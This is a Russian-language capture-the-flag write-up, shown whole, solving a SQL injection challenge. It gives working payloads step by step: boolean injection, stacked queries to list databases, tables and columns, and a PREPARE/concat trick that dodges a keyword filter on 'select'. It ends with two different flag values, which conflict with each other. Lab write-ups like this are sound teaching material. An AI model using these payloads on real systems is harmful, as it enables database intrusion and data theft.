1. Сначала запустите и получите доступ к целевой машине, есть поле ввода, просто введите его 1' or 1 = 1
и проверьте, есть ли sql-инъекция.
2. Подсказка после отправки error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
, указывающая, что за параметрами бэкенда могут быть другие операторы sql, мы добавляем # после 1' или 1 = 1, чтобы закомментировать другие возможные операторы sql, то есть: успешно вывести таблицу Все данные, 1' or 1 = 1#
но нет флага
3. Затем идет sql-инъекция, затем мы вручную обнаруживаем другие таблицы, сначала судим о количестве полей: , система подсказывает, ' union select 1,2;#
что return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
функция preg_match используется для выполнения регулярных выражений, то есть система использует этот код для выбора и другие ключевые слова отфильтрованы
4. Поскольку ключевое слово select нельзя использовать, мы можем обойти ключевое слово select путем внедрения в стек.
5. Просмотрите имя базы данных:1';show databases;#
6. Просмотрите техпаспорт:1';show tables;#
7. Давайте посмотрим на структуру первой таблицы 1919810931114514. Есть два способа:
метод первый:1'; show columns from tableName;#
Способ 2:1';desc tableName;#
Обратите внимание, что если tableName является чистым числом, его необходимо обернуть `, например1';desc `1919810931114514`;#
Имя полученного поля — флаг:
8. Поскольку ключевое слово select фильтруется, мы можем объединить его с помощью предварительной компиляции: 1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
get flag: flag{c0fc32ff-8ae1-4b96-8da0-1f621d7fdae3}
ФЛАГ: флаг {ab1f3d33-af30-45b8-b1e9-f5a9915e4676}